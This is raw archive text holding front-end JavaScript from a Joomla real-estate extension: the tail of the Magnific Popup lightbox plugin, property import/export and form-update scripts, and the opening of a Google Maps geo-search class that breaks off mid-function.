if(closeOnBg) {
// last check, if the clicked element is in DOM, (in case it's
removed onclick)
if( $.contains(document, target) ) {
return true;
}
}
} else if(closeOnContent) {
return true;
}
}
return false;
},
_addClassToMFP: function(cName) {
mfp.bgOverlay.addClass(cName);
mfp.wrap.addClass(cName);
},
_removeClassFromMFP: function(cName) {
this.bgOverlay.removeClass(cName);
mfp.wrap.removeClass(cName);
},
_hasScrollBar: function(winHeight) {
return ( (mfp.isIE7 ? _document.height() : document.body.scrollHeight)
> (winHeight || _window.height()) );
},
_setFocus: function() {
(mfp.st.focus ? mfp.content.find(mfp.st.focus).eq(0) : mfp.wrap).focus();
},
_onFocusIn: function(e) {
if( e.target !== mfp.wrap[0] && !$.contains(mfp.wrap[0],
e.target) ) {
mfp._setFocus();
return false;
}
},
_parseMarkup: function(template, values, item) {
var arr;
if(item.data) {
values = $.extend(item.data, values);
}
_mfpTrigger(MARKUP_PARSE_EVENT, [template, values, item] );
$.each(values, function(key, value) {
if(value === undefined || value === false) {
return true;
}
arr = key.split('_');
if(arr.length > 1) {
var el = template.find(EVENT_NS + '-'+arr[0]);
if(el.length > 0) {
var attr = arr[1];
if(attr === 'replaceWith') {
if(el[0] !== value[0]) {
el.replaceWith(value);
}
} else if(attr === 'img') {
if(el.is('img')) {
el.attr('src', value);
} else {
el.replaceWith( $('<img>').attr('src',
value).attr('class', el.attr('class')) );
}
} else {
el.attr(arr[1], value);
}
}
} else {
template.find(EVENT_NS + '-'+key).html(value);
}
});
},
_getScrollbarSize: function() {
// thx David
if(mfp.scrollbarSize === undefined) {
var scrollDiv = document.createElement("div");
scrollDiv.style.cssText = 'width: 99px; height: 99px; overflow:
scroll; position: absolute; top: -9999px;';
document.body.appendChild(scrollDiv);
mfp.scrollbarSize = scrollDiv.offsetWidth - scrollDiv.clientWidth;
document.body.removeChild(scrollDiv);
}
return mfp.scrollbarSize;
}
}; /* MagnificPopup core prototype end */
/**
* Public static functions
*/
$.magnificPopup = {
instance: null,
proto: MagnificPopup.prototype,
modules: [],
open: function(options, index) {
_checkInstance();
if(!options) {
options = {};
} else {
options = $.extend(true, {}, options);
}
options.isObj = true;
options.index = index || 0;
return this.instance.open(options);
},
close: function() {
return $.magnificPopup.instance &&
$.magnificPopup.instance.close();
},
registerModule: function(name, module) {
if(module.options) {
$.magnificPopup.defaults[name] = module.options;
}
$.extend(this.proto, module.proto);
this.modules.push(name);
},
defaults: {
// Info about options is in docs:
//
http://dimsemenov.com/plugins/magnific-popup/documentation.html#options
disableOn: 0,
key: null,
midClick: false,
mainClass: '',
preloader: true,
focus: '', // CSS selector of input to focus after popup is
opened
closeOnContentClick: false,
closeOnBgClick: true,
closeBtnInside: true,
showCloseBtn: true,
enableEscapeKey: true,
modal: false,
alignTop: false,
removalDelay: 0,
prependTo: null,
fixedContentPos: 'auto',
fixedBgPos: 'auto',
overflowY: 'auto',
closeMarkup: '<button title="%title%"
type="button"
class="mfp-close">×</button>',
tClose: 'Close (Esc)',
tLoading: 'Loading...',
autoFocusLast: true
}
};
$.fn.magnificPopup = function(options) {
_checkInstance();
var jqEl = $(this);
// We call some API method of first param is a string
if (typeof options === "string" ) {
if(options === 'open') {
var items,
itemOpts = _isJQ ? jqEl.data('magnificPopup') :
jqEl[0].magnificPopup,
index = parseInt(arguments[1], 10) || 0;
if(itemOpts.items) {
items = itemOpts.items[index];
} else {
items = jqEl;
if(itemOpts.delegate) {
items = items.find(itemOpts.delegate);
}
items = items.eq( index );
}
mfp._openClick({mfpEl:items}, jqEl, itemOpts);
} else {
if(mfp.isOpen)
mfp[options].apply(mfp, Array.prototype.slice.call(arguments, 1));
}
} else {
// clone options obj
options = $.extend(true, {}, options);
/*
* As Zepto doesn't support .data() method for objects
* and it works only in normal browsers
* we assign "options" object directly to the DOM element. FTW!
*/
if(_isJQ) {
jqEl.data('magnificPopup', options);
} else {
jqEl[0].magnificPopup = options;
}
mfp.addGroup(jqEl, options);
}
return jqEl;
};
/*>>core*/
/*>>inline*/
var INLINE_NS = 'inline',
_hiddenClass,
_inlinePlaceholder,
_lastInlineElement,
_putInlineElementsBack = function() {
if(_lastInlineElement) {
_inlinePlaceholder.after( _lastInlineElement.addClass(_hiddenClass)
).detach();
_lastInlineElement = null;
}
};
$.magnificPopup.registerModule(INLINE_NS, {
options: {
hiddenClass: 'hide', // will be appended with `mfp-` prefix
markup: '',
tNotFound: 'Content not found'
},
proto: {
initInline: function() {
mfp.types.push(INLINE_NS);
_mfpOn(CLOSE_EVENT+'.'+INLINE_NS, function() {
_putInlineElementsBack();
});
},
getInline: function(item, template) {
_putInlineElementsBack();
if(item.src) {
var inlineSt = mfp.st.inline,
el = $(item.src);
if(el.length) {
// If target element has parent - we replace it with placeholder and
put it back after popup is closed
var parent = el[0].parentNode;
if(parent && parent.tagName) {
if(!_inlinePlaceholder) {
_hiddenClass = inlineSt.hiddenClass;
_inlinePlaceholder = _getEl(_hiddenClass);
_hiddenClass = 'mfp-'+_hiddenClass;
}
// replace target inline element with placeholder
_lastInlineElement =
el.after(_inlinePlaceholder).detach().removeClass(_hiddenClass);
}
mfp.updateStatus('ready');
} else {
mfp.updateStatus('error', inlineSt.tNotFound);
el = $('<div>');
}
item.inlineElement = el;
return el;
}
mfp.updateStatus('ready');
mfp._parseMarkup(template, {}, item);
return template;
}
}
});
/*>>inline*/
/*>>ajax*/
var AJAX_NS = 'ajax',
_ajaxCur,
_removeAjaxCursor = function() {
if(_ajaxCur) {
$(document.body).removeClass(_ajaxCur);
}
},
_destroyAjaxRequest = function() {
_removeAjaxCursor();
if(mfp.req) {
mfp.req.abort();
}
};
$.magnificPopup.registerModule(AJAX_NS, {
options: {
settings: null,
cursor: 'mfp-ajax-cur',
tError: '<a href="%url%">The content</a> could
not be loaded.'
},
proto: {
initAjax: function() {
mfp.types.push(AJAX_NS);
_ajaxCur = mfp.st.ajax.cursor;
_mfpOn(CLOSE_EVENT+'.'+AJAX_NS, _destroyAjaxRequest);
_mfpOn('BeforeChange.' + AJAX_NS, _destroyAjaxRequest);
},
getAjax: function(item) {
if(_ajaxCur) {
$(document.body).addClass(_ajaxCur);
}
mfp.updateStatus('loading');
var opts = $.extend({
url: item.src,
success: function(data, textStatus, jqXHR) {
var temp = {
data:data,
xhr:jqXHR
};
_mfpTrigger('ParseAjax', temp);
mfp.appendContent( $(temp.data), AJAX_NS );
item.finished = true;
_removeAjaxCursor();
mfp._setFocus();
setTimeout(function() {
mfp.wrap.addClass(READY_CLASS);
}, 16);
mfp.updateStatus('ready');
_mfpTrigger('AjaxContentAdded');
},
error: function() {
_removeAjaxCursor();
item.finished = item.loadError = true;
mfp.updateStatus('error',
mfp.st.ajax.tError.replace('%url%', item.src));
}
}, mfp.st.ajax.settings);
mfp.req = $.ajax(opts);
return '';
}
}
});
/*>>ajax*/
/*>>image*/
var _imgInterval,
_getTitle = function(item) {
if(item.data && item.data.title !== undefined)
return item.data.title;
var src = mfp.st.image.titleSrc;
if(src) {
if($.isFunction(src)) {
return src.call(mfp, item);
} else if(item.el) {
return item.el.attr(src) || '';
}
}
return '';
};
$.magnificPopup.registerModule('image', {
options: {
markup: '<div class="mfp-figure">'+
'<div class="mfp-close"></div>'+
'<figure>'+
'<div class="mfp-img"></div>'+
'<figcaption>'+
'<div class="mfp-bottom-bar">'+
'<div class="mfp-title"></div>'+
'<div class="mfp-counter"></div>'+
'</div>'+
'</figcaption>'+
'</figure>'+
'</div>',
cursor: 'mfp-zoom-out-cur',
titleSrc: 'title',
verticalFit: true,
tError: '<a href="%url%">The image</a> could
not be loaded.'
},
proto: {
initImage: function() {
var imgSt = mfp.st.image,
ns = '.image';
mfp.types.push('image');
_mfpOn(OPEN_EVENT+ns, function() {
if(mfp.currItem.type === 'image' && imgSt.cursor) {
$(document.body).addClass(imgSt.cursor);
}
});
_mfpOn(CLOSE_EVENT+ns, function() {
if(imgSt.cursor) {
$(document.body).removeClass(imgSt.cursor);
}
_window.off('resize' + EVENT_NS);
});
_mfpOn('Resize'+ns, mfp.resizeImage);
if(mfp.isLowIE) {
_mfpOn('AfterChange', mfp.resizeImage);
}
},
resizeImage: function() {
var item = mfp.currItem;
if(!item || !item.img) return;
if(mfp.st.image.verticalFit) {
var decr = 0;
// fix box-sizing in ie7/8
if(mfp.isLowIE) {
decr = parseInt(item.img.css('padding-top'), 10) +
parseInt(item.img.css('padding-bottom'),10);
}
item.img.css('max-height', mfp.wH-decr);
}
},
_onImageHasSize: function(item) {
if(item.img) {
item.hasSize = true;
if(_imgInterval) {
clearInterval(_imgInterval);
}
item.isCheckingImgSize = false;
_mfpTrigger('ImageHasSize', item);
if(item.imgHidden) {
if(mfp.content)
mfp.content.removeClass('mfp-loading');
item.imgHidden = false;
}
}
},
/**
* Function that loops until the image has size to display elements that
rely on it asap
*/
findImageSize: function(item) {
var counter = 0,
img = item.img[0],
mfpSetInterval = function(delay) {
if(_imgInterval) {
clearInterval(_imgInterval);
}
// decelerating interval that checks for size of an image
_imgInterval = setInterval(function() {
if(img.naturalWidth > 0) {
mfp._onImageHasSize(item);
return;
}
if(counter > 200) {
clearInterval(_imgInterval);
}
counter++;
if(counter === 3) {
mfpSetInterval(10);
} else if(counter === 40) {
mfpSetInterval(50);
} else if(counter === 100) {
mfpSetInterval(500);
}
}, delay);
};
mfpSetInterval(1);
},
getImage: function(item, template) {
var guard = 0,
// image load complete handler
onLoadComplete = function() {
if(item) {
if (item.img[0].complete) {
item.img.off('.mfploader');
if(item === mfp.currItem){
mfp._onImageHasSize(item);
mfp.updateStatus('ready');
}
item.hasSize = true;
item.loaded = true;
_mfpTrigger('ImageLoadComplete');
}
else {
// if image complete check fails 200 times (20 sec), we assume that
there was an error.
guard++;
if(guard < 200) {
setTimeout(onLoadComplete,100);
} else {
onLoadError();
}
}
}
},
// image error handler
onLoadError = function() {
if(item) {
item.img.off('.mfploader');
if(item === mfp.currItem){
mfp._onImageHasSize(item);
mfp.updateStatus('error',
imgSt.tError.replace('%url%', item.src) );
}
item.hasSize = true;
item.loaded = true;
item.loadError = true;
}
},
imgSt = mfp.st.image;
var el = template.find('.mfp-img');
if(el.length) {
var img = document.createElement('img');
img.className = 'mfp-img';
if(item.el && item.el.find('img').length) {
img.alt = item.el.find('img').attr('alt');
}
item.img = $(img).on('load.mfploader',
onLoadComplete).on('error.mfploader', onLoadError);
img.src = item.src;
// without clone() "error" event is not firing when IMG is
replaced by new IMG
// TODO: find a way to avoid such cloning
if(el.is('img')) {
item.img = item.img.clone();
}
img = item.img[0];
if(img.naturalWidth > 0) {
item.hasSize = true;
} else if(!img.width) {
item.hasSize = false;
}
}
mfp._parseMarkup(template, {
title: _getTitle(item),
img_replaceWith: item.img
}, item);
mfp.resizeImage();
if(item.hasSize) {
if(_imgInterval) clearInterval(_imgInterval);
if(item.loadError) {
template.addClass('mfp-loading');
mfp.updateStatus('error',
imgSt.tError.replace('%url%', item.src) );
} else {
template.removeClass('mfp-loading');
mfp.updateStatus('ready');
}
return template;
}
mfp.updateStatus('loading');
item.loading = true;
if(!item.hasSize) {
item.imgHidden = true;
template.addClass('mfp-loading');
mfp.findImageSize(item);
}
return template;
}
}
});
/*>>image*/
/*>>zoom*/
var hasMozTransform,
getHasMozTransform = function() {
if(hasMozTransform === undefined) {
hasMozTransform =
document.createElement('p').style.MozTransform !== undefined;
}
return hasMozTransform;
};
$.magnificPopup.registerModule('zoom', {
options: {
enabled: false,
easing: 'ease-in-out',
duration: 300,
opener: function(element) {
return element.is('img') ? element :
element.find('img');
}
},
proto: {
initZoom: function() {
var zoomSt = mfp.st.zoom,
ns = '.zoom',
image;
if(!zoomSt.enabled || !mfp.supportsTransition) {
return;
}
var duration = zoomSt.duration,
getElToAnimate = function(image) {
var newImg =
image.clone().removeAttr('style').removeAttr('class').addClass('mfp-animated-image'),
transition = 'all '+(zoomSt.duration/1000)+'s ' +
zoomSt.easing,
cssObj = {
position: 'fixed',
zIndex: 9999,
left: 0,
top: 0,
'-webkit-backface-visibility': 'hidden'
},
t = 'transition';
cssObj['-webkit-'+t] = cssObj['-moz-'+t] =
cssObj['-o-'+t] = cssObj[t] = transition;
newImg.css(cssObj);
return newImg;
},
showMainContent = function() {
mfp.content.css('visibility', 'visible');
},
openTimeout,
animatedImg;
_mfpOn('BuildControls'+ns, function() {
if(mfp._allowZoom()) {
clearTimeout(openTimeout);
mfp.content.css('visibility', 'hidden');
// Basically, all code below does is clones existing image, puts in on
top of the current one and animated it
image = mfp._getItemToZoom();
if(!image) {
showMainContent();
return;
}
animatedImg = getElToAnimate(image);
animatedImg.css( mfp._getOffset() );
mfp.wrap.append(animatedImg);
openTimeout = setTimeout(function() {
animatedImg.css( mfp._getOffset( true ) );
openTimeout = setTimeout(function() {
showMainContent();
setTimeout(function() {
animatedImg.remove();
image = animatedImg = null;
_mfpTrigger('ZoomAnimationEnded');
}, 16); // avoid blink when switching images
}, duration); // this timeout equals animation duration
}, 16); // by adding this timeout we avoid short glitch at the
beginning of animation
// Lots of timeouts...
}
});
_mfpOn(BEFORE_CLOSE_EVENT+ns, function() {
if(mfp._allowZoom()) {
clearTimeout(openTimeout);
mfp.st.removalDelay = duration;
if(!image) {
image = mfp._getItemToZoom();
if(!image) {
return;
}
animatedImg = getElToAnimate(image);
}
animatedImg.css( mfp._getOffset(true) );
mfp.wrap.append(animatedImg);
mfp.content.css('visibility', 'hidden');
setTimeout(function() {
animatedImg.css( mfp._getOffset() );
}, 16);
}
});
_mfpOn(CLOSE_EVENT+ns, function() {
if(mfp._allowZoom()) {
showMainContent();
if(animatedImg) {
animatedImg.remove();
}
image = null;
}
});
},
_allowZoom: function() {
return mfp.currItem.type === 'image';
},
_getItemToZoom: function() {
if(mfp.currItem.hasSize) {
return mfp.currItem.img;
} else {
return false;
}
},
// Get element postion relative to viewport
_getOffset: function(isLarge) {
var el;
if(isLarge) {
el = mfp.currItem.img;
} else {
el = mfp.st.zoom.opener(mfp.currItem.el || mfp.currItem);
}
var offset = el.offset();
var paddingTop = parseInt(el.css('padding-top'),10);
var paddingBottom = parseInt(el.css('padding-bottom'),10);
offset.top -= ( $(window).scrollTop() - paddingTop );
/*
Animating left + top + width/height looks glitchy in Firefox, but
perfect in Chrome. And vice-versa.
*/
var obj = {
width: el.width(),
// fix Zepto height+padding issue
height: (_isJQ ? el.innerHeight() : el[0].offsetHeight) - paddingBottom
- paddingTop
};
// I hate to do this, but there is no another option
if( getHasMozTransform() ) {
obj['-moz-transform'] = obj['transform'] =
'translate(' + offset.left + 'px,' + offset.top +
'px)';
} else {
obj.left = offset.left;
obj.top = offset.top;
}
return obj;
}
}
});
/*>>zoom*/
/*>>iframe*/
var IFRAME_NS = 'iframe',
_emptyPage = '//about:blank',
_fixIframeBugs = function(isShowing) {
if(mfp.currTemplate[IFRAME_NS]) {
var el = mfp.currTemplate[IFRAME_NS].find('iframe');
if(el.length) {
// reset src after the popup is closed to avoid "video keeps
playing after popup is closed" bug
if(!isShowing) {
el[0].src = _emptyPage;
}
// IE8 black screen bug fix
if(mfp.isIE8) {
el.css('display', isShowing ? 'block' :
'none');
}
}
}
};
$.magnificPopup.registerModule(IFRAME_NS, {
options: {
markup: '<div class="mfp-iframe-scaler">'+
'<div class="mfp-close"></div>'+
'<iframe class="mfp-iframe"
src="//about:blank" frameborder="0"
allowfullscreen></iframe>'+
'</div>',
srcAction: 'iframe_src',
// we don't care and support only one default type of URL by default
patterns: {
youtube: {
index: 'youtube.com',
id: 'v=',
src: '//www.youtube.com/embed/%id%?autoplay=1'
},
vimeo: {
index: 'vimeo.com/',
id: '/',
src: '//player.vimeo.com/video/%id%?autoplay=1'
},
gmaps: {
index: '//maps.google.',
src: '%id%&output=embed'
}
}
},
proto: {
initIframe: function() {
mfp.types.push(IFRAME_NS);
_mfpOn('BeforeChange', function(e, prevType, newType) {
if(prevType !== newType) {
if(prevType === IFRAME_NS) {
_fixIframeBugs(); // iframe if removed
} else if(newType === IFRAME_NS) {
_fixIframeBugs(true); // iframe is showing
}
}// else {
// iframe source is switched, don't do anything
//}
});
_mfpOn(CLOSE_EVENT + '.' + IFRAME_NS, function() {
_fixIframeBugs();
});
},
getIframe: function(item, template) {
var embedSrc = item.src;
var iframeSt = mfp.st.iframe;
$.each(iframeSt.patterns, function() {
if(embedSrc.indexOf( this.index ) > -1) {
if(this.id) {
if(typeof this.id === 'string') {
embedSrc =
embedSrc.substr(embedSrc.lastIndexOf(this.id)+this.id.length,
embedSrc.length);
} else {
embedSrc = this.id.call( this, embedSrc );
}
}
embedSrc = this.src.replace('%id%', embedSrc );
return false; // break;
}
});
var dataObj = {};
if(iframeSt.srcAction) {
dataObj[iframeSt.srcAction] = embedSrc;
}
mfp._parseMarkup(template, dataObj, item);
mfp.updateStatus('ready');
return template;
}
}
});
/*>>iframe*/
/*>>gallery*/
/**
* Get looped index depending on number of slides
*/
var _getLoopedId = function(index) {
var numSlides = mfp.items.length;
if(index > numSlides - 1) {
return index - numSlides;
} else if(index < 0) {
return numSlides + index;
}
return index;
},
_replaceCurrTotal = function(text, curr, total) {
return text.replace(/%curr%/gi, curr + 1).replace(/%total%/gi, total);
};
$.magnificPopup.registerModule('gallery', {
options: {
enabled: false,
arrowMarkup: '<button title="%title%"
type="button" class="mfp-arrow
mfp-arrow-%dir%"></button>',
preload: [0,2],
navigateByImgClick: true,
arrows: true,
tPrev: 'Previous (Left arrow key)',
tNext: 'Next (Right arrow key)',
tCounter: '%curr% of %total%'
},
proto: {
initGallery: function() {
var gSt = mfp.st.gallery,
ns = '.mfp-gallery';
mfp.direction = true; // true - next, false - prev
if(!gSt || !gSt.enabled ) return false;
_wrapClasses += ' mfp-gallery';
_mfpOn(OPEN_EVENT+ns, function() {
if(gSt.navigateByImgClick) {
mfp.wrap.on('click'+ns, '.mfp-img', function() {
if(mfp.items.length > 1) {
mfp.next();
return false;
}
});
}
_document.on('keydown'+ns, function(e) {
if (e.keyCode === 37) {
mfp.prev();
} else if (e.keyCode === 39) {
mfp.next();
}
});
});
_mfpOn('UpdateStatus'+ns, function(e, data) {
if(data.text) {
data.text = _replaceCurrTotal(data.text, mfp.currItem.index,
mfp.items.length);
}
});
_mfpOn(MARKUP_PARSE_EVENT+ns, function(e, element, values, item) {
var l = mfp.items.length;
values.counter = l > 1 ? _replaceCurrTotal(gSt.tCounter, item.index,
l) : '';
});
_mfpOn('BuildControls' + ns, function() {
if(mfp.items.length > 1 && gSt.arrows &&
!mfp.arrowLeft) {
var markup = gSt.arrowMarkup,
arrowLeft = mfp.arrowLeft = $( markup.replace(/%title%/gi,
gSt.tPrev).replace(/%dir%/gi, 'left')
).addClass(PREVENT_CLOSE_CLASS),
arrowRight = mfp.arrowRight = $( markup.replace(/%title%/gi,
gSt.tNext).replace(/%dir%/gi, 'right')
).addClass(PREVENT_CLOSE_CLASS);
arrowLeft.click(function() {
mfp.prev();
});
arrowRight.click(function() {
mfp.next();
});
mfp.container.append(arrowLeft.add(arrowRight));
}
});
_mfpOn(CHANGE_EVENT+ns, function() {
if(mfp._preloadTimeout) clearTimeout(mfp._preloadTimeout);
mfp._preloadTimeout = setTimeout(function() {
mfp.preloadNearbyImages();
mfp._preloadTimeout = null;
}, 16);
});
_mfpOn(CLOSE_EVENT+ns, function() {
_document.off(ns);
mfp.wrap.off('click'+ns);
mfp.arrowRight = mfp.arrowLeft = null;
});
},
next: function() {
mfp.direction = true;
mfp.index = _getLoopedId(mfp.index + 1);
mfp.updateItemHTML();
},
prev: function() {
mfp.direction = false;
mfp.index = _getLoopedId(mfp.index - 1);
mfp.updateItemHTML();
},
goTo: function(newIndex) {
mfp.direction = (newIndex >= mfp.index);
mfp.index = newIndex;
mfp.updateItemHTML();
},
preloadNearbyImages: function() {
var p = mfp.st.gallery.preload,
preloadBefore = Math.min(p[0], mfp.items.length),
preloadAfter = Math.min(p[1], mfp.items.length),
i;
for(i = 1; i <= (mfp.direction ? preloadAfter : preloadBefore); i++)
{
mfp._preloadItem(mfp.index+i);
}
for(i = 1; i <= (mfp.direction ? preloadBefore : preloadAfter); i++)
{
mfp._preloadItem(mfp.index-i);
}
},
_preloadItem: function(index) {
index = _getLoopedId(index);
if(mfp.items[index].preloaded) {
return;
}
var item = mfp.items[index];
if(!item.parsed) {
item = mfp.parseEl( index );
}
_mfpTrigger('LazyLoad', item);
if(item.type === 'image') {
item.img = $('<img class="mfp-img"
/>').on('load.mfploader', function() {
item.hasSize = true;
}).on('error.mfploader', function() {
item.hasSize = true;
item.loadError = true;
_mfpTrigger('LazyLoadError', item);
}).attr('src', item.src);
}
item.preloaded = true;
}
}
});
/*>>gallery*/
/*>>retina*/
var RETINA_NS = 'retina';
$.magnificPopup.registerModule(RETINA_NS, {
options: {
replaceSrc: function(item) {
return item.src.replace(/\.\w+$/, function(m) { return '@2x' +
m; });
},
ratio: 1 // Function or number. Set to 1 to disable.
},
proto: {
initRetina: function() {
if(window.devicePixelRatio > 1) {
var st = mfp.st.retina,
ratio = st.ratio;
ratio = !isNaN(ratio) ? ratio : ratio();
if(ratio > 1) {
_mfpOn('ImageHasSize' + '.' + RETINA_NS,
function(e, item) {
item.img.css({
'max-width': item.img[0].naturalWidth / ratio,
'width': '100%'
});
});
_mfpOn('ElementParse' + '.' + RETINA_NS,
function(e, item) {
item.src = st.replaceSrc(item, ratio);
});
}
}
}
}
});
/*>>retina*/
_checkInstance();
}));PK2��[�$�f��js/gateway-jea.jsnu�[���/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate
* agency
*
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU/GPL, see LICENSE.txt
*/
var JeaGateway = {
startExport : function (gatewayId, gatewayTitle, webConsole) {
var requestParams = {
option: 'com_jea',
format: 'json',
task: 'gateway.export',
id: gatewayId
}
var startMessage =
Joomla.JText._('COM_JEA_EXPORT_START_MESSAGE').replace('%s',
gatewayTitle)
var startLine = webConsole.appendLine({text: startMessage})
jQuery.getJSON( "index.php", requestParams)
.done(function( json ) {
if (json.error) {
jQuery(startLine).addClass('error');
jQuery(startLine).text('> ' + json.error);
return;
}
var endMessage = Joomla.JText._('COM_JEA_EXPORT_END_MESSAGE')
.replace('%s', gatewayTitle)
.replace('%d', json.exported_properties)
if (json.ftp_sent) {
endMessage += ' ' +
Joomla.JText._('COM_JEA_GATEWAY_FTP_TRANSFERT_SUCCESS')
}
endMessage += ' <a href="' + json.zip_url
+'">' +
Joomla.JText._('COM_JEA_GATEWAY_DOWNLOAD_ZIP') +
'</a>'
jQuery(startLine).html('> ' + endMessage)
jQuery(document).trigger('gatewayActionDone');
})
.fail(function( jqxhr, textStatus, error ) {
var err = textStatus + ", " + error
jQuery(line).addClass('error');
jQuery(line).text('> ' + "Request Failed: " +
err)
});
},
startImport : function(gatewayId, gatewayTitle, webConsole) {
var startMessage =
Joomla.JText._('COM_JEA_IMPORT_START_MESSAGE').replace('%s',
gatewayTitle)
var startLine = webConsole.appendLine({text: startMessage})
var progressbar = webConsole.addProgressBar('import_bar_' +
gatewayId);
webConsole.addPlaceHolder('properties_found_' + gatewayId);
webConsole.addPlaceHolder('properties_updated_' + gatewayId);
webConsole.addPlaceHolder('properties_created_' + gatewayId);
webConsole.addPlaceHolder('properties_removed_' + gatewayId);
JeaGateway.importRequest(gatewayId, gatewayTitle, startLine, webConsole);
},
importRequest : function(gatewayId, gatewayTitle, startLine, webConsole) {
var requestParams = {
option: 'com_jea',
format: 'json',
task: 'gateway.import',
id: gatewayId
}
jQuery.getJSON( "index.php", requestParams)
.done(function(response) {
if (response.error) {
jQuery(startLine).addClass('error');
jQuery(startLine).text('> ' + response.error);
return;
}
if (response.total == 0) {
jQuery(startLine).text('> ' + 'Aucun bien à
importer.');
return;
}
var progressbar = webConsole.getProgressBar('import_bar_'+
gatewayId);
if (progressbar.step == 0) {
webConsole.getPlaceHolder('properties_found_' +
gatewayId).empty().html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_FOUND').replace('%s',
response.total));
progressbar.options.steps = response.total;
}
webConsole.getPlaceHolder('properties_updated_' +
gatewayId).empty()
.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_UPDATED').replace('%s',
response.updated));
webConsole.getPlaceHolder('properties_created_' +
gatewayId).empty()
.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_CREATED').replace('%s',
response.created));
webConsole.getPlaceHolder('properties_removed_' +
gatewayId).empty()
.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_DELETED').replace('%s',
response.removed));
progressbar.setStep(response.imported);
if (response.total == response.imported) {
var endMessage =
Joomla.JText._('COM_JEA_IMPORT_END_MESSAGE').replace('%s',
gatewayTitle)
jQuery(startLine).html('> ' + endMessage)
jQuery(document).trigger('gatewayActionDone')
return;
}
// Recursive
JeaGateway.importRequest(gatewayId, gatewayTitle, startLine,
webConsole)
})
.fail(function( jqxhr, textStatus, error ) {
var err = textStatus + ", " + error
jQuery(startLine).addClass('error');
jQuery(startLine).text('> ' + "Request Failed: "
+ err)
});
}
}
PK2��[����js/property.form.jsnu�[���
Element.implement({
flash: function (to,from,reps,prop,dur) {
//defaults
if(!reps) { reps = 1; }
if(!prop) { prop = 'background-color'; }
if(!dur) { dur = 250; }
//create effect
var effect = new Fx.Tween(this, {
duration: dur,
link: 'chain'
})
//do it!
for(x = 1; x <= reps; x++)
{
effect.start(prop,from,to).start(prop,to,from);
}
}
});
function updateFeature(name, fieldId, language) {
//active option selected
var activeValue = document.id(fieldId).get('value');
//ajax request
var jSonRequest = new Request.JSON({
url: 'index.php',
onSuccess: function(response) {
var first = document.id(fieldId).getFirst().clone();
document.id(fieldId).empty();
document.id(fieldId).adopt(first);
if (response) {
response.each(function(item) {
var option = new Element('option', {'value' :
item.id});
// keep selected value if active value is found as a result
if (activeValue == item.id) {
option.setProperty('selected','selected');
}
option.appendText(item.value);
document.id(fieldId).adopt(option);
});
jQuery('#'+fieldId).trigger('liszt:updated.chosen');
// Update jQuery choosen
}
}
});
jSonRequest.post({
'option' : 'com_jea',
'format' : 'json',
'task' : 'features.get_list',
'feature' : name,
'language' : language
});
};
function updateAmenities(language) {
//active option selected
var labels = document.getElements('.amenity');
var checkedLabels = Array();
//store active amenities & clear labels
labels.each(function(label){
var input = label.getElement('input');
if (input.get('checked')) {
checkedLabels.push(input.get('value'));
}
});
//remove current amenities
document.id('amenities').empty();
//ajax request
var jSonRequest = new Request.JSON({
url: 'index.php',
onSuccess: function(response) {
if (response) {
response.each(function(item, idx) {
//amenity li container
var li = new Element('li.amenity');
//generate the label
var label = new Element('label', {
'text' : item.value,
'for' : 'jform_amenities' + idx
});
//generate the input checkbox
var checkbox = new Element('input', {
'name' : 'jform[amenities][]',
'value' : item.id,
'type' : 'checkbox',
'class' : 'am-input',
'id' : 'jform_amenities' + idx
});
//hide checkbox. It will be enabled/disabled by clicking on parent div
checkbox.setStyle('display','none');
// keep selected value if it's found as a result
if (checkedLabels.contains(item.id)) {
checkbox.checked = 'checked';
li.addClass('active');
}
//div click => toggle checkbox status
li.addEvent('click', function(event) {
if (checkbox.checked) {
li.removeClass('active');
checkbox.set('checked', false);
}
else {
li.addClass('active');
checkbox.set('checked', true);
}
});
//add the content to the amenity div
li.adopt(label);
li.adopt(checkbox);
document.id('amenities').adopt(li);
});
}
}
});
jSonRequest.post({
'option' : 'com_jea',
'format' : 'json',
'task' : 'features.get_list',
'feature' : 'amenity',
'language' : language
});
}
function updateFeatures() {
//language selected
var language =
document.id('jform_language').get('value');
//update
updateFeature('type','jform_type_id',language);
updateFeature('condition','jform_condition_id',language);
updateFeature('heatingtype','jform_heating_type',language);
updateFeature('hotwatertype','jform_hot_water_type',language);
updateFeature('slogan','jform_slogan_id',language);
updateAmenities(language);
}
window.addEvent('domready', function() {
// colors
var bgColor = '#F8E9E9';
var borderColor = '#DE7A7B';
document.id('ajaxupdating').setStyle('display','none');
document.id('jform_language').addEvent('change',
function(event) {
// show field alerts
document.id('ajaxupdating').setStyle('display','');
document.id('ajaxupdating').flash('#fff',bgColor,2,'background-color',500);
document.id('jform_type_id').setStyle('border','1px
solid '+borderColor);
document.id('jform_type_id').flash('#fff',bgColor,2,'background-color',500);
document.id('jform_condition_id').setStyle('border','1px
solid '+borderColor);
document.id('jform_condition_id').flash('#fff',bgColor,2,'background-color',500);
document.id('jform_heating_type').setStyle('border','1px
solid '+borderColor);
document.id('jform_heating_type').flash('#fff',bgColor,2,'background-color',500);
document.id('jform_hot_water_type').setStyle('border','1px
solid '+borderColor);
document.id('jform_hot_water_type').flash('#fff',bgColor,2,'background-color',500);
document.id('jform_slogan_id').setStyle('border','1px
solid '+borderColor);
document.id('jform_slogan_id').flash('#fff',bgColor,2,'background-color',500);
document.id('amenities').setStyle('border','1px
solid '+borderColor);
document.id('amenities').flash('#fff',bgColor,2,'background-color',500);
// update dropdowns
updateFeatures();
});
//onload update dropdowns
updateFeatures();
});
PK2��[!�p8��js/geoSearch.jsnu�[���var
JEAGeoSearch = new Class({
Implements : [ Options ],
mask : null,
map : null,
options : {
opacity : 0.5,
counterElement : '',
defaultArea : '',
Itemid : 0
},
initialize : function(content, options) {
this.content = document.id(content);
this.setOptions(options);
this.mask = Class.empty;
this.map = Class.empty;
},
refresh : function() {
var params = this.getFilters();
var kml =
'index.php?option=com_jea&task=properties.kml&format=xml';
for (key in params) {
kml += '&' + key + '=' + params[key];
}
kml += '&Itemid=' + this.options.Itemid;
var mapOptions = {
mapTypeId : google.maps.MapTypeId.ROADMAP
};
this.map = new google.maps.Map(this.content, mapOptions);
this.applyMask();
geoXml = new geoXML3.parser({
map : this.map,
afterParse : function(docSet) {
// Count results
var count = 0;
